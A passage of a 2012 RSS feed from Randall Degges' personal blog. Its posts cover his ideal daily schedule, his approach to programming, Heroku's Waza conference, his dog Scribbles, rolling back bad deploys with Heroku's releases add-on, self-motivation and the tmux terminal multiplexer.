&lt;p>&lt;strong>ALSO&lt;/strong>: I&amp;rsquo;m absolutely positive that I&amp;rsquo;m going to continuously change my mind
about this over time. The points below represent my thinking at this current
moment only. Future self, if you&amp;rsquo;re reading this: what are you up to? Have
your goals changed? Your ideal life?&lt;/p>
&lt;p>In a given 24 hour day, I&amp;rsquo;d like to spend:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>10 hours sleeping.&lt;/strong> This includes buffer time, stuff like brushing
teeth and sliding into bed. This way, I&amp;rsquo;ll get a minimum of 8 hours of
sleep (with 2 hours of buffer in there, just incase).&lt;/li>
&lt;li>&lt;strong>1 hour writing.&lt;/strong> Writing is a tool I&amp;rsquo;m quickly becoming more and more
fond of. Writing has helped me learn things in much greater depth, as well
as improve my communication skills. I highly value communication skills,
so this is high on my list of importance.&lt;/li>
&lt;li>&lt;strong>1 hour reading.&lt;/strong> I do a lot of reading, and I plan to continue this.
Reading books, in particular, has taught me innumerable lessons, and the
value I receive for my time investment is overwhelming.&lt;/li>
&lt;li>&lt;strong>1 hour exercising.&lt;/strong> Having a strong body is important&amp;ndash;not only for
longevity, but for mental health and mood. Hitting the gym everyday and
lifting weights would be a great way to stay in top condition year round.&lt;/li>
&lt;li>&lt;strong>3 hours eating.&lt;/strong> This means uninterrupted meal and relaxation time
either by myself, or with my family and friends. Rushing through meals is
unsatisfying, and eating slow seems like a healthy, relaxing routine.&lt;/li>
&lt;li>&lt;strong>1 hour hacking on an open source project.&lt;/strong> This means writing code that
goes straight back to the community. Not only do open source projects
build programming skill, but they&amp;rsquo;re extremely fun, and provide a great way
to meet other smart, talented people.&lt;/li>
&lt;li>&lt;strong>2 hours working.&lt;/strong> This would ideally be hacking on my own company in
some form: giving direction, writing code, whatever. Just working on a
meaningful project that provides real value in the world, and enough money
so that I don&amp;rsquo;t have to worry about it.&lt;/li>
&lt;li>&lt;strong>5 hours doing anything else.&lt;/strong> This includes watching TV, hanging out
with my wife, attending events, showering, volunteering, whatever.&lt;/li>
&lt;/ul>
&lt;p>Why so little work? Well, it&amp;rsquo;s my thought that by improving myself in all
areas (including things that aren&amp;rsquo;t quantifiable&amp;ndash;like focus, willpower,
etc.), I&amp;rsquo;ll be able to accomplish a lot more by working both smarter, and with
more focus.&lt;/p>
&lt;p>Working smarter means only doing things that absolutely require my personal
attention. By putting myself in a position where I can outsource all but the
most essential functions to others, I&amp;rsquo;ll be able to drastically cut down my
daily TODO list, leaving me with much less (but more important) work to be
done.&lt;/p>
&lt;p>By working with more focus, I mean that over time, I&amp;rsquo;d like to build up my
focus to a point where I&amp;rsquo;m able to completely immerse myself in a task for
hours on end, without breaking concentration. Having that sort of intense
focusing power would allow me to accomplish a great amount of work in a very
small amount of time.&lt;/p>
&lt;p>I believe that if I&amp;rsquo;m eventually able to work both smarter and with more focus,
than 2 hours should be more than enough time to make a difference at work.&lt;/p>
&lt;p>For the extra 5 hours of random time each day, I&amp;rsquo;d like to use that to do
meaningful things. Maybe work on other projects, volunteer my time for a
worthy cause, etc. It would also be nice to have free time so that, even on
bad days, I can just lay down for a large chunk of the day and not feel guilty.
After all, this is supposed to be a sustainable schedule&amp;ndash;something that I can
live with over a long period of time, not just a short term thing. This could
also be a great way to throw myself at whatever I&amp;rsquo;m feeling most passionate
about that particular day. This would free me up to spend an extra few hours
working if I&amp;rsquo;m really in the mood, or maybe an extra couple hours reading&amp;ndash;who
knows.&lt;/p></description></item><item><title>How I Program Stuff</title><link>https://rdegges.com/2012/how-i-program-stuff/</link><pubDate>Mon, 16 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/how-i-program-stuff/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/how-i-program-stuff/programmer-staring-at-computer.png" alt="Programmer Staring at Computer" title="Programmer Staring at Computer">
&lt;/p>
&lt;p>I love programming. I can truly say that of all the things I enjoy, I enjoy
programming the most. There&amp;rsquo;s nothing quite like the feeling you get when you
create something. Writing code is a lot like building your own little
universe.&lt;/p>
&lt;p>When you build stuff, you&amp;rsquo;re in complete control, and, no matter how hard you
fight it, your code directly reflects yourself. If you write sloppy code, I
can almost &lt;em>guarantee&lt;/em> you&amp;rsquo;ll be a sloppy person. If you haphazardly throw
code around with any care or passion, it&amp;rsquo;s likely you treat yourself the same
way.&lt;/p>
&lt;p>I tend to think of myself as a &lt;a href="http://www.amazon.com/gp/product/1934356344/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356344&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Passionate Programmer">passionate programmer&lt;/a> (subsequently, this is
one of the best books I&amp;rsquo;ve ever read). When I&amp;rsquo;m building things, I do so with
a lot of care. I like to:&lt;/p>
&lt;ul>
&lt;li>Take my time, and not rush myself.&lt;/li>
&lt;li>Maintain 100% strict style rules across the code base. I&amp;rsquo;m a style Nazi.&lt;/li>
&lt;li>Ruthlessly refactor old or ugly code.&lt;/li>
&lt;li>Put a lot of thought into the APIs available, and think of ways to minimize
or get rid of them all together.&lt;/li>
&lt;li>Keep a single, clear, and minimalistic purpose for the project.&lt;/li>
&lt;/ul>
&lt;p>I try to make every piece of code I touch a bit more like me (for better or
worse).  With the above in mind, here&amp;rsquo;s my method for programming stuff.&lt;/p>
&lt;h2 id="step-1---isolate">Step 1 - Isolate&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-program-stuff/buddha-statue.png" alt="Buddha Statue" title="Buddha Statue">
&lt;/p>
&lt;p>I work best in complete isolation (excluding the companionship of my dog,
Scribbles). I find that when I&amp;rsquo;m completely alone, with no distractions, I&amp;rsquo;m
able to really get into the proper mood for building things.&lt;/p>
&lt;p>&lt;strong>Confidence.&lt;/strong>&lt;/p>
&lt;p>Being alone gives me a lot of confidence. If you&amp;rsquo;re by yourself, you have
absolutely nothing to lose working on that funky feature branch that will
probably never work out, or attempting to refactor an enormous method that you
later realize was written that way for a very important reason. When you&amp;rsquo;re by
yourself, there is nothing to be embarrassed about. You have complete creative
freedom to try new things without consequence.&lt;/p>
&lt;p>&lt;strong>Energy.&lt;/strong>&lt;/p>
&lt;p>Maybe it&amp;rsquo;s because I&amp;rsquo;m deeply anti-social at my core, but for some reason, I&amp;rsquo;m
just not myself around other people. As (odd?) as that may be, being around
other people seems to really drain my energy and sap my creativeness. Despite
my best efforts, I just don&amp;rsquo;t have the same energy around other people as I do
by myself. When I&amp;rsquo;m isolated, I have an enormous amount of mental energy that
I just can&amp;rsquo;t help but use in creative endeavors.&lt;/p>
&lt;p>&lt;strong>Information.&lt;/strong>&lt;/p>
&lt;p>I find that while alone, I&amp;rsquo;m able to make better use of available information.
For instance, when I&amp;rsquo;m working with other people (physically), I tend not to
use information resources as much. I won&amp;rsquo;t google things, or read articles
about the topics I&amp;rsquo;m working on. When alone, I tend to spend much more time
researching relevant information, best practices, and learning skills that can
help me do what needs to be done.&lt;/p>
&lt;h2 id="step-2---eliminate">Step 2 - Eliminate&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-program-stuff/rm-rf.png" alt="rm -rf" title="rm -rf">
&lt;/p>
&lt;p>When it&amp;rsquo;s time to really build things, the second thing I do is eliminate all
unnecessary information. This includes:&lt;/p>
&lt;ul>
&lt;li>Closing all browser tabs and starting fresh.&lt;/li>
&lt;li>Closing all terminal sessions.&lt;/li>
&lt;li>Closing all IM conversations.&lt;/li>
&lt;li>Moving everything off my desk.&lt;/li>
&lt;/ul>
&lt;p>With everything out of the way, I&amp;rsquo;m able to easily focus on programming things.
The code almost flows out naturally when nothing else is in the way, stopping
it.&lt;/p>
&lt;p>&lt;strong>THOUGHT&lt;/strong>: Maybe we&amp;rsquo;re all meant to be programmers, and our environment is
simply stopping us from coding. In this case, it is our duty to eliminate all
distractions and return to our natural state!&lt;/p>
&lt;h2 id="step-3---code-ruthlessly">Step 3 - Code Ruthlessly&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-program-stuff/fist.png" alt="Fist" title="Fist">
&lt;/p>
&lt;p>Coding ruthlessly is something I strongly believe in. I think that of all the
things I&amp;rsquo;ve learned over the years, this has been the most important.&lt;/p>
&lt;p>There is no room in this world for fear while programming. As a programmer,
you have to be courageous, bold, fearless, and &lt;strong>ruthless&lt;/strong>. If you can&amp;rsquo;t
bring yourself to remove legacy code because you may need it later, you&amp;rsquo;ve
failed. Whenever I feel hesitation while programming, I make a mental note to
seriously reconsider what I&amp;rsquo;m doing. If it makes me feel uncomfortable,
there&amp;rsquo;s a good chance I need to do that shit right away.&lt;/p>
&lt;p>Being ruthless with your code means you make commits that fix whitespace, fix
indentation, remove entire source files, deprecate API calls, and drastically
change functionality&amp;ndash;whatever needs to be done, you do it without a bit of
regret.&lt;/p>
&lt;p>There have been countless times that I&amp;rsquo;ve worked on code for a week or two,
just to realize I went off on a tangent and completely strayed from the main
objective. In times like this, the only thing to do is remove everything and
move on. There is no room for ego in success.&lt;/p>
&lt;p>&lt;strong>Be ruthless.&lt;/strong>&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-program-stuff/i-regret-nothing.gif" alt="I Regret Nothing" title="I Regret Nothing">
&lt;/p></description></item><item><title>Reflections on Heroku's Waza Event</title><link>https://rdegges.com/2012/reflections-on-herokus-waza-event/</link><pubDate>Sun, 15 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/reflections-on-herokus-waza-event/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/reflections-on-herokus-waza-event/heroku-logo.png" alt="Heroku Logo" title="Heroku Logo">
&lt;/p>
&lt;p>Several days ago I was lucky enough to attend &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&amp;rsquo;s&lt;/a> first conference,
&lt;a href="http://waza.heroku.com/" title="Heroku Waza">Waza&lt;/a>. Waza is the Japanese word for art and technique, which, in
retrospect, was nothing short of the perfect name for the event. In my life,
I&amp;rsquo;ve never attended such an artistic, well planned, and stylish event.&lt;/p>
&lt;h2 id="surprise">Surprise!&lt;/h2>
&lt;p>If this isn&amp;rsquo;t the first time you&amp;rsquo;ve visited my site, you probably know I
primarily write about technical stuff. Over the past few months I&amp;rsquo;ve been
writing a lot about Heroku, which is, in my opinion, the best &lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a>
hosting platform available.&lt;/p>
&lt;p>A few weeks back I got an email inviting me to Heroku&amp;rsquo;s first conference, Waza,
which was going to be held on January 11th in San Francisco.&lt;/p>
&lt;p>&lt;strong>Woa.&lt;/strong>&lt;/p>
&lt;p>I immediately accepted the invitation. It&amp;rsquo;s not every day you get to meet with
a group of the best programmers in the industry. The guys who work at Heroku
are all top notch developers, and people. If programming was illegal street
fighting, and I had to pick a partner to help me escape a
no-rules-street-fight, I would pick anyone from the Heroku team in a heartbeat.
:)&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/reflections-on-herokus-waza-event/a-day-in-the-life-of-a-programmer.png" alt="A Day in the Life of a Programmer" title="A Day in the Life of a Programmer">
&lt;/p>
&lt;p>Anyhow, despite the fact that I can&amp;rsquo;t imagine why anyone from Heroku would
invite me to their conference, I got in!&lt;/p>
&lt;h2 id="waza">Waza&lt;/h2>
&lt;p>Without a doubt, Waza was by far the nicest conference I&amp;rsquo;ve ever been to. It
was nothing like a traditional tech conference.&lt;/p>
&lt;p>The venue was particularly stunning. The event was held at &lt;a href="http://www.yoshis.com/sanfrancisco" title="Yoshi's Jazz Club">Yoshi&amp;rsquo;s&lt;/a>, a jazz
club in San Francisco. Heroku essentially turned the entire inside of the
place into a Japanese village. There were zen gardens, Japanese style eating
mats, amazing tea, and beautiful lighting throughout. Entering the venue was a
lot like walking into a dream. The entire place was beautiful, elegant, and
relaxing.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I didn&amp;rsquo;t get any pictures of the event, but &lt;a href="http://kennethreitz.org/" title="Kenneth Reitz">Kenneth Reitz&lt;/a> got a
ton that totally kick ass. I highly recommend checking out his
&lt;a href="http://www.flickr.com/photos/kennethreitz/sets/72157628841270129/" title="Waza Flickr">Flickr album&lt;/a>. If you look close, you&amp;rsquo;ll find me :)&lt;/p>
&lt;p>The event started at 11am with an excellent opening talk by Adam Wiggins, CTO
and co-founder of Heroku. His talk was all about building excellent
applications: why elegance is important, what trends software development got
over the past decade, and what trends will become influential this decade. His
talk primarily focused on application elegance, which I thought was a great
intro for the Waza conference, which focused on software development technique
and art more than anything else.&lt;/p>
&lt;p>The talks were all amazing. All were focused around building elegant
applications. As a developer, I truly enjoyed the talks I got to attend. They
were all inspiring, well executed, and filled with lots of useful information.&lt;/p>
&lt;h2 id="people">People&lt;/h2>
&lt;p>By far the best part of the event was the people. In particular, I got to
meet: &lt;a href="http://www.craigkerstiens.com/" title="Craig Kerstiens">Craig Kerstiens&lt;/a>, &lt;a href="http://kennethreitz.org/" title="Kenneth Reitz">Kenneth Reitz&lt;/a>, &lt;a href="http://asenchi.com/" title="Curt Micol">Curt Micol&lt;/a>, and
&lt;a href="http://www.kellycreativetech.com/" title="Issac Kelly">Issac Kelly&lt;/a>. Those guys are all programming superheroes.&lt;/p>
&lt;p>I&amp;rsquo;ve known Craig, Kenneth and Issac online for a while, but meeting them in
person was really great. If you guys are reading this: we should meet up again
soon!&lt;/p>
&lt;p>As a complete surprise to me, I learned after arriving at Waza that
&lt;a href="http://en.wikipedia.org/wiki/Rob_Pike" title="Rob Pike Wikipedia">Rob Pike&lt;/a> was going to be giving the closing talk. If you don&amp;rsquo;t know Rob
Pike: he&amp;rsquo;s one of the most influential programmers of all time. He co-created
&lt;a href="http://en.wikipedia.org/wiki/UTF-8" title="UTF-8 Wikipedia">UTF-8&lt;/a> (unicode), created the &lt;a href="http://golang.org/" title="Go">Go&lt;/a> programming language, and made
countless contributions to UNIX. He also wrote two excellent books that
contributed wildly to the programming profession:
&lt;a href="http://www.amazon.com/gp/product/020161586X/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=020161586X&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Practice of Programming">The Practice of Programming&lt;/a>, and &lt;a href="http://www.amazon.com/gp/product/013937681X/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=013937681X&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The UNIX Programming Environment">The UNIX Programming Environment&lt;/a>.
Without Rob Pike, the world would truly be a different place.&lt;/p>
&lt;p>Seeing Rob in person was fucking awesome. His talk was great, and it was
incredibly inspiring to even be in the same room as such an amazing guy. As my
wife can attest, one of my lifelong dreams has been to meet
&lt;a href="http://www.cs.princeton.edu/~bwk/" title="Brian Kernighan">Brian Kernighan&lt;/a>, &lt;a href="http://cm.bell-labs.com/who/dmr/" title="Dennis Ritchie">Dennis Ritchie&lt;/a>, and Rob Pike. While I&amp;rsquo;ll never be
able to meet Dennis (he passed away last year), I&amp;rsquo;m extremely happy to have had
the opportunity to meet Rob.&lt;/p>
&lt;h2 id="tea">Tea&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/reflections-on-herokus-waza-event/green-tea-leaves.png" alt="Green Tea Leaves" title="Green Tea Leaves">
&lt;/p>
&lt;p>Oddly enough, other than an excellent group of techies&amp;ndash;Waza had some amazing
vendors come to cater the event, one of which was &lt;a href="http://www.teance.com/" title="teance">teance&lt;/a>, a Berkely tea
shop. They were serving several types of fresh tea, all of which were
fabulous.&lt;/p>
&lt;p>I&amp;rsquo;ve never been into tea much, but after a cup of teance&amp;rsquo;s green tea, I was a
convert. Best tea I&amp;rsquo;ve ever had in my life, hands down.&lt;/p>
&lt;p>What made it even better was that the owner of the shop happened to be at the
event serving tea, and answered all sorts of crazy questions I had about the
tea.&lt;/p>
&lt;p>After the event, my wife and I drove to the teance shop in Berkeley, and had tea
at their bar. We tried several types of tea, and left with a couple hundred
dollars worth of the stuff. Money well spent.&lt;/p>
&lt;p>If you&amp;rsquo;re into tea at all, you should definitely check out the &lt;a href="http://www.teance.com/" title="teance">teance&lt;/a> site
and order some. I guarantee you won&amp;rsquo;t be disappointed.&lt;/p>
&lt;h2 id="overall">Overall&lt;/h2>
&lt;p>Waza was a great event. The venue was great, the whole thing was comfortable
and relaxing, and there were tons of smart and interesting people all over the
place. It was a great experience, and I had a ton of fun.&lt;/p>
&lt;p>I hope the Heroku guys throw another one sometime soon.&lt;/p></description></item><item><title>Dogs Are Great Programming Companions</title><link>https://rdegges.com/2012/dogs-are-great-programming-companions/</link><pubDate>Mon, 09 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/dogs-are-great-programming-companions/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/hello-this-is-dog.png" alt="Hello This is Dog" title="Hello This is Dog">
&lt;/p>
&lt;p>I love dogs. Really. They&amp;rsquo;re the best beasts on the planet.&lt;/p>
&lt;p>For those of you who don&amp;rsquo;t know: I work at home with my chihuahua, Scribbles.
She&amp;rsquo;s an awesome programming companion. As I work she lays in her dog bed next
to my desk, and naps while I code. When I stand up and move around, she chases
me around the house, and gets me to take her outside for a walk.&lt;/p>
&lt;p>Since I started working at home two years ago, I&amp;rsquo;ve realized how great a dog
can really be while you work. For me, Scribbles keeps me balanced. When I&amp;rsquo;m
feeling stressed, I can lean down and scratch her head. If I&amp;rsquo;ve been sitting
too long, Scribbles will get my attention and demand a walk. She always knows
exactly what to do to keep me sane, day after day.&lt;/p>
&lt;p>When I&amp;rsquo;m working on particularly complex software problems, I&amp;rsquo;ll often talk out
loud to her, explaining my thinking and proposed solution. Half the time, just
the act of forcing myself to talk to her, explaining myself, helps me realize
problems in my thinking.&lt;/p>
&lt;p>In addition to the benefits of having a funny looking animal around at all
times: knowing you&amp;rsquo;ve got some unconditional love no more than 2 feet away is a
nice reminder life is good. Even when I&amp;rsquo;m working really hard to fix critical
problems, or in the zone coding away, having a dog nearby makes me feel
comfortable and happy.&lt;/p>
&lt;p>Here are some pictures of Scribbles (the destroyer of worlds), in all her
glory:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-1.png" alt="Scribbles 1" title="Scribbles 1">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-2.png" alt="Scribbles 2" title="Scribbles 2">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-3.png" alt="Scribbles 3" title="Scribbles 3">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-4.png" alt="Scribbles 4" title="Scribbles 4">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-5.png" alt="Scribbles 5" title="Scribbles 5">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-6.png" alt="Scribbles 6" title="Scribbles 6">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-7.png" alt="Scribbles 7" title="Scribbles 7">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-8.png" alt="Scribbles 8" title="Scribbles 8">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-9.png" alt="Scribbles 9" title="Scribbles 9">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-10.png" alt="Scribbles 10" title="Scribbles 10">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/dogs-are-great-programming-companions/scribbles-11.png" alt="Scribbles 11" title="Scribbles 11">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: In case you&amp;rsquo;re wondering&amp;ndash;she&amp;rsquo;s named Scribbles because she has
scribbled markings all over her fur.&lt;/p></description></item><item><title>How to Instantly Fix Problematic Deployments on Heroku</title><link>https://rdegges.com/2012/how-to-instantly-fix-problematic-deployments-on-heroku/</link><pubDate>Sun, 08 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/how-to-instantly-fix-problematic-deployments-on-heroku/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/how-to-instantly-fix-problematic-deployments-on-heroku/broke-production.png" alt="Broke Production" title="Broke Production">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Have no idea what &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a> is? I feel sorry for you. You should
create an account with them immediately, then come back and read this post!&lt;/p>
&lt;p>Today I was working with my new co-worker on one of our company&amp;rsquo;s &lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a>
projects, and after deploying some code, noticed that our &lt;a href="http://newrelic.com/" title="New Relic, the Best Fucking Application Monitoring Software Ever Written">New Relic&lt;/a> panel
was spitting out loads of &lt;code>DatabaseErrors&lt;/code>.&lt;/p>
&lt;p>&lt;strong>Oh shit!&lt;/strong>&lt;/p>
&lt;p>In situations like this, Heroku&amp;rsquo;s fabulous &lt;a href="http://addons.heroku.com/releases" title="Heroku Releases Addon">releases&lt;/a> add-on can really save
the day. While the releases add-on is still in beta, it is indispensable to
any serious project. Using the releases add-on, I simply ran the command:
&lt;code>heroku rollback&lt;/code> in the terminal, and everything was fine. How awesome is
that?&lt;/p>
&lt;p>The releases add-on gives you an extremely useful &lt;code>rollback&lt;/code> command to use,
that instantly swaps your deployed Heroku code with the most recent deployed
copy. This is a lifesaver. Without the releases application, you have only a
few choices available to you should a disaster occur:&lt;/p>
&lt;ul>
&lt;li>Revert all of your previous commits in your local Git repository, then push
your changes to Heroku. This works&amp;ndash;but takes a while to do, and can be
error prone (do you know what the most recent deployed Git commit was on
Heroku vs. your local repo?).&lt;/li>
&lt;li>Slowly go through your most recent commits, looking to find the problem
area. Once you&amp;rsquo;ve found the problematic code&amp;ndash;update it, then re-push to
Heroku. Again, this is time consuming and error prone.&lt;/li>
&lt;li>Freak out, and run away.&lt;/li>
&lt;/ul>
&lt;p>All three of those options suck. The releases add-on is a developer safety net,
and a good one. Instead of wasting time worrying about stuff, just &lt;code>rollback&lt;/code>
your Heroku application, and casually debug your application looking for the
problems.&lt;/p>
&lt;p>In addition to the awesomeness of the simple &lt;code>rollback&lt;/code> command, the advanced
releases add-on (&lt;code>heroku addons:add releases:advanced&lt;/code> gives you even more
power: the ability to instantly deploy any revision of code previously deployed
to Heroku.&lt;/p>
&lt;p>Let&amp;rsquo;s say you deploy several times before realizing your application is broken,
and there is already an army of angry users with pitchforks heading to your
Cheeto covered dungeon.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-instantly-fix-problematic-deployments-on-heroku/cheeto-hands.png" alt="Cheeto Hands" title="Cheeto Hands">
&lt;/p>
&lt;p>The last thing you want to do is throw on your chain mail, grab your longsword,
and fight them off. Let&amp;rsquo;s face reality here: you&amp;rsquo;d much rather be watching
&lt;a href="http://www.imdb.com/title/tt0487831/" title="The IT Crowd">The IT Crowd&lt;/a> and guzzling mountain dew. So instead of going to war, you
decide to simply roll back to the last working release.&lt;/p>
&lt;p>&lt;strong>But wait!&lt;/strong> Your rollback command isn&amp;rsquo;t working! You forgot that the last
working release was several deployments ago. Damn.&lt;/p>
&lt;p>Luckily, you remember that since you&amp;rsquo;re using the releases add-on, you can
simply run &lt;code>heroku releases&lt;/code> and view a list of all your previous releases:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-instantly-fix-problematic-deployments-on-heroku/heroku-releases.png" alt="Heroku Releases" title="Heroku Releases CLI Screen Shot">
&lt;/p>
&lt;p>Oh yes, you think. Release &lt;code>v304&lt;/code> was the last working release. Just to
confirm, you then run the &lt;code>heroku releases:info v304&lt;/code> command, and after taking
a look to make sure, you decide that you&amp;rsquo;ve found the correct release to
rollback to.&lt;/p>
&lt;p>To finish your rollback, you simply run &lt;code>heroku rollback v304&lt;/code> and &lt;em>bam&lt;/em>,
everything is working again. Now you can spend the rest of the afternoon
writing a &lt;a href="http://www.twilio.com/" title="Twilio">Twilio&lt;/a> script that sends text messages to each of your users
en-route to your Cheeto dungeon to destroy you, informing them that the problem
has been solved, and asking them to return to their lairs.&lt;/p>
&lt;p>Whenever you&amp;rsquo;re working on production projects, problems will arise. Being a
developer is no easy task! Luckily for us, Heroku is on our side.&lt;/p>
&lt;p>If you&amp;rsquo;re interested in using the Heroku releases add-on, you should read
through the &lt;a href="http://devcenter.heroku.com/articles/releases" title="Heroku Releases Addon Documentation">official documentation&lt;/a>, it&amp;rsquo;s really great.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: So, I actually wrote a book on Heroku! If you liked this post, you
should check it out: &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">http://www.theherokuhackersguide.com/&lt;/a>&lt;/p></description></item><item><title>Going to War</title><link>https://rdegges.com/2012/going-to-war/</link><pubDate>Sat, 07 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/going-to-war/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/going-to-war/beast-sketch.png" alt="Beast Sketch" title="Beast Sketch">
&lt;/p>
&lt;p>Sometimes personal development can be hard, really hard. I find that I go
through periods where I just feel exhausted of continuously trying to make
myself a better person.&lt;/p>
&lt;p>Unfortunately, I don&amp;rsquo;t really see this discussed much online. I think people
who write online tend to do so when they&amp;rsquo;re feeling good, thereby eliminating a
big amount of the negative personal development articles that would exist
otherwise. Since I&amp;rsquo;m in a neutral mood right now, I figured I&amp;rsquo;d throw my
opinions up here to contribute to the discussion.&lt;/p>
&lt;h2 id="exhaustion">Exhaustion&lt;/h2>
&lt;p>When I&amp;rsquo;m exhausted with personal development, I tend to not do much to fix it.
Instead of consciously seeking out ways to get out of my slump, I&amp;rsquo;ll usually
just sit around thinking about things myself. When I get into this mood, I
feel completely exhausted.&lt;/p>
&lt;p>I think that becoming tired of dealing with personal development in a normal
thing. When you spend a large amount of your time and energy trying to better
yourself (eat better, work better, play better), it is only natural that your
body and mind will need some time to rest.&lt;/p>
&lt;p>The real problem arises when after you&amp;rsquo;ve sufficiently recovered, you still
can&amp;rsquo;t get yourself back into the development phase again.&lt;/p>
&lt;h2 id="the-war-motive">The War Motive&lt;/h2>
&lt;p>To me, nothing is more motivating than a big life or death challenge. We&amp;rsquo;ve
all seen this in movies, and read about it in books.&lt;/p>
&lt;p>The hero is hopelessly outnumbered, surrounded by bad guys. He&amp;rsquo;s weak,
frightened, and near death. He realizes that he&amp;rsquo;s about to die, and then, his
life flashes before his eyes. He immediately realizes why he&amp;rsquo;s fighting in the
first place, and decides to commit to winning with his life. A moment later he
explodes in fury, wiping out his enemies, and emerging victorious.&lt;/p>
&lt;p>The reason the hero won is because he went to war. He knew that he was in a
dire situation, and he decided to do whatever it would take to win.&lt;/p>
&lt;p>War can be a powerful motive, not only for heroes in movies, but for you. If
you find yourself stuck at a point where you can no longer progress, and find
yourself battling off the forces that be but not winning&amp;ndash;maybe you should
consider starting a war.&lt;/p>
&lt;p>Doing so is fairly easy: you commit to winning with your life. You make a pact
with yourself to fight this thing with every last ounce of energy left in your
body and mind, or you die trying.&lt;/p>
&lt;p>This sort of motivation is drastic, probably not recommended by psychiatrists,
but effective.&lt;/p>
&lt;p>I&amp;rsquo;ve found that the war motive works really well for me. I&amp;rsquo;ve used it
frequently over the past few years to kick myself out of poor situations and
progress regardless of whatever issues I was facing at the time.&lt;/p>
&lt;p>What techniques do you use to motivate yourself, and push yourself beyond your
limits?&lt;/p></description></item><item><title>Tools I Use - tmux</title><link>https://rdegges.com/2012/tools-i-use-tmux/</link><pubDate>Fri, 06 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/tools-i-use-tmux/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/tools-i-use-tmux/tools.png" alt="Tools" title="Tools">
&lt;/p>
&lt;p>I love reading about tools other programmers use in their day-to-day existence.
There are so many great pieces of software out there that it&amp;rsquo;s impossible to
hear about them all. Whenever I read articles (or watch screencasts) that
other developers make, I tend to learn a lot.&lt;/p>
&lt;p>So, I decided to start my own series here on my site, dedicated to talking
about the tools I use, and how I use them. Unfortunately, I probably don&amp;rsquo;t
have much useful information to give in this area&amp;ndash;but I figure that if I start
writing about it, I&amp;rsquo;m bound to learn more about the tools I use along the way.
So this is a win-win for me.&lt;/p>
&lt;p>As this is the first article in the series, I figured what better time to
discuss &lt;a href="http://tmux.sourceforge.net/" title="tmux">tmux&lt;/a>, my favorite terminal multiplexer!&lt;/p>
&lt;h2 id="terminal-multiplexers">Terminal Multiplexers&lt;/h2>
&lt;p>If you&amp;rsquo;ve ever had the need to run multiple terminal windows inside an existing
terminal window, you&amp;rsquo;ve probably heard of &lt;a href="http://www.gnu.org/software/screen/" title="GNU screen">GNU screen&lt;/a>.&lt;/p>
&lt;p>GNU screen is one of the most popular terminal multiplexers of all time. What
it allows you to do is have a large amount of virtual terminals that you can
create, move around, and use at will. What&amp;rsquo;s great about tools like GNU screen
is that they allow you to quickly move between your terminal windows using
keyboard shortcuts, which can often times be a lot quicker than alt+tab&amp;rsquo;ing to
a new terminal window on your OS.&lt;/p>
&lt;p>The other great thing about terminal multiplexers like GNU screen and tmux is
that they give you the power to tile your windows as you please. For instance,
